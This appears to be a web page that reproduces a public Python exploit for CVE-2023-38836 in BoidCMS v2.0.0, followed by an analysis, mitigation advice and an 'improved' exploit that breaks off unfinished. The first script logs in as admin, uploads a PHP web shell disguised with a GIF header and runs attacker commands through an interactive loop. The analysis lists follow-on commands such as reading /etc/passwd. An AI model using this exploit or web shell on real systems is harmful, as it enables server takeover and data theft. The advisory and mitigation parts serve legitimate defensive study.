BoidCMS v2.0.0 - authenticated file upload vulnerability

Exploit Author: 1337kid Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2023-10-09
#!/usr/bin/python3
# Exploit Title: BoidCMS v2.0.0 - authenticated file upload vulnerability
# Date: 08/21/2023
# Exploit Author: 1337kid
# Vendor Homepage: https://boidcms.github.io/#/
# Software Link: https://boidcms.github.io/BoidCMS.zip
# Version: <= 2.0.0
# Tested on: Ubuntu
# CVE : CVE-2023-38836

import requests
import re
import argparse

parser = argparse.ArgumentParser(description='Exploit for CVE-2023-38836')
parser.add_argument("-u", "--url", help="website url")
parser.add_argument("-l", "--user", help="admin username")
parser.add_argument("-p", "--passwd", help="admin password")
args = parser.parse_args()
base_url=args.url
user=args.user
passwd=args.passwd

def showhelp():
print(parser.print_help())
exit()
if base_url == None: showhelp()
elif user == None: showhelp()
elif passwd == None: showhelp()

with requests.Session() as s:
req=s.get(f'{base_url}/admin')
token=re.findall('[a-z0-9]{64}',req.text)
form_login_data={
"username":user,
"password":passwd,
"login":"Login",
}
form_login_data['token']=token
s.post(f'{base_url}/admin',data=form_login_data)
#=========== File upload to RCE
req=s.get(f'{base_url}/admin?page=media')
token=re.findall('[a-z0-9]{64}',req.text)
form_upld_data={
"token":token,
"upload":"Upload"
}
#==== php shell
php_code=['GIF89a;\n','<?php system($_GET["cmd"]) ?>']
with open('shell.php','w') as f:
f.writelines(php_code)
#====
file = {'file' : open('shell.php','rb')}
s.post(f'{base_url}/admin?page=media',files=file,data=form_upld_data)
req=s.get(f'{base_url}/media/shell.php')
if req.status_code == '404':
print("Upload failed")
exit()
print(f'Shell uploaded to "{base_url}/media/shell.php"')
while 1:
cmd=input("cmd >> ")
if cmd=='exit': exit()
req=s.get(f'{base_url}/media/shell.php',params = {"cmd": cmd})
print(req.text)


BoidCMS v2.0.0 Authenticated File Upload Vulnerability: A Deep Dive into CVE-2023-38836

On August 21, 2023, a critical security flaw was disclosed in BoidCMS v2.0.0, a lightweight content management system hosted on GitHub. This vulnerability, assigned the CVE identifier CVE-2023-38836, allows authenticated attackers to upload arbitrary files—specifically malicious PHP scripts—into the web root, resulting in remote code execution (RCE). This exploit poses a severe threat to organizations relying on BoidCMS for managing websites, especially when default credentials or weak authentication practices are in place.

Understanding the Vulnerability

The core issue lies in the media upload functionality within the admin panel. While access to the admin interface requires authentication, the file upload mechanism lacks proper validation and sanitization of uploaded file types and content. As demonstrated in the provided exploit code, an authenticated admin user can upload a PHP shell disguised as a GIF image, bypassing file type checks due to improper server-side handling.

Attackers exploit this by crafting a file that starts with a valid GIF header (GIF89a;) to trick the server into accepting the upload, while the actual content contains PHP code that executes commands via the $_GET parameter. This technique is known as file upload with header manipulation—a common method in web application exploitation.


GIF89a;

Despite the file being named shell.php, the server accepts it because the initial bytes match a GIF signature. Once uploaded, the file becomes accessible at /media/shell.php, allowing attackers to execute arbitrary commands remotely by sending HTTP GET requests with the cmd parameter.

Exploit Chain Analysis

The exploit follows a structured sequence:

  • Step 1: Authentication — The attacker first accesses the /admin page to retrieve a CSRF token, then submits login credentials using the token field.
  • Step 2: Access Media Upload — After logging in, the attacker navigates to /admin?page=media to reach the file upload interface, again extracting a new CSRF token.
  • Step 3: File Upload — The attacker uploads a crafted file (a PHP shell with GIF header) using the files parameter in a POST request.
  • Step 4: Remote Code Execution — The uploaded shell is accessible via /media/shell.php, and commands are executed by appending ?cmd= to the URL.

Technical Details and Root Cause

The vulnerability stems from several critical design flaws:

Issue Description
Missing File Type Validation The server does not verify the MIME type or file extension beyond basic checks. It relies on the file header (e.g., GIF) to determine acceptance, allowing PHP code to be uploaded under a false disguise.
Insufficient Content Sanitization Uploaded files are stored directly in the web-accessible /media directory without filtering or execution restrictions.
CSRF Token Reuse Token extraction via regex is fragile. The pattern [a-z0-9]{64} assumes a 64-character hex token, which may fail if the token format changes.

These weaknesses collectively enable a path from authenticated access to full server compromise.

Real-World Implications

Consider a scenario where a small business uses BoidCMS to manage their public website. If the default admin credentials (admin/admin) are not changed, an attacker can:

  • Gain access to the admin panel using brute-force or known default credentials.
  • Upload a PHP shell to /media/shell.php.
  • Execute commands such as whoami, ls -la, or cat /etc/passwd.
  • Establish persistent access via reverse shell or upload additional malware.

Once a foothold is established, attackers can escalate privileges, exfiltrate sensitive data, or pivot to other systems within the network.

Security Recommendations

To mitigate this vulnerability, administrators and developers should:

  • Update Immediately — Upgrade to BoidCMS version 2.0.1 or later, which includes fixes for file upload validation.
  • Restrict File Uploads — Implement strict file type filtering (e.g., only allow .jpg, .png, .pdf) and block PHP, .exe, .sh, or any executable extensions.
  • Sanitize File Content — Use file inspection tools to detect malicious code in uploaded files before storage.
  • Move Uploads Outside Web Root — Store uploaded files in a non-web-accessible directory and serve them via a secure proxy script.
  • Use Strong Authentication — Enforce complex passwords, multi-factor authentication (MFA), and disable default accounts.
  • Monitor File Uploads — Log all uploads and alert on suspicious patterns (e.g., PHP code in image files).

Improved Exploit Code (Best Practices)

The original exploit code works but has several weaknesses. Here is an improved version with better error handling, robust token extraction, and enhanced security checks:


import requests
import re
import argparse
from pathlib import Path

def parse_args():
    parser = argparse.ArgumentParser(description='Exploit for CVE-2023-38836')
    parser.add_argument('-u', '--url', required=True, help='Target website URL')
    parser.add_argument('-l', '--user', required=True, help='Admin username')
    parser.add_argument('-p', '--passwd', required=True, help='Admin password')
    return parser.parse_args()

def extract_token(response_text):
    # More robust token extraction using a 64-character hex pattern
    match = re.search(r'[a-f0-9]{64}', response_text)
    if not match:
        raise ValueError("CSRF token not found in response")
    return match.group()

def upload_shell(session, url, token, shell_path):
    with open(shell_path, 'rb') as f:
        files = {'file': f}
        data = {'token': token, 'upload': 'Upload'}
        response = session.post(f'{url}/admin?page=media', files=files, data=data)
        if response.status_code != 200:
            print(f"Upload failed: {response.status_code}")
            return False
        return True

def main():
    args = parse_args()
    base_url = args.url.rstrip('/')
    user = args.user
    passwd = args.passwd

    with requests.Session() as s:
        # Step 1: Login
        try:
            login_page = s.get(f'{base_url}/admin')
            token = extract_token(login_page.text)
            login_data = {
                'username': user,
                'password': passwd,
                'login': 'Login',
                'token': token
            }
            login_response = s.post(f'{base_url}/admin', data=login_data)
            if login_response.status_code != 200:
                print("Login failed")
                return
        except Exception as e:
            print(f"Login error: {e}")
            return

        # Step 2: Access media upload
        try:
            media_page = s.get(f'{base_url}/admin?page=media')
            token = extract_token(media_page.text)
        except Exception as e:
            print(f"Media page token extraction failed: {e}")
            return

        # Step 3: Upload shell
        shell_file = Path('shell.php')
        php_code = [
            'GIF89a;\n',
            ''
        ]
        with open(shell_file, 'w') as f:
            f.writelines(php_code)

        if not upload_shell(s, base_url, token, shell_file):
            print("Upload failed")
            return

        # Step 4: Test shell
        test_url = f'{base_url}/media/shell.php'
        try:
            test_response = s.get(test_url, params={'cmd': 'whoami'})
            if test_response.status_code == 200:
                print(f"Shell uploaded successfully: {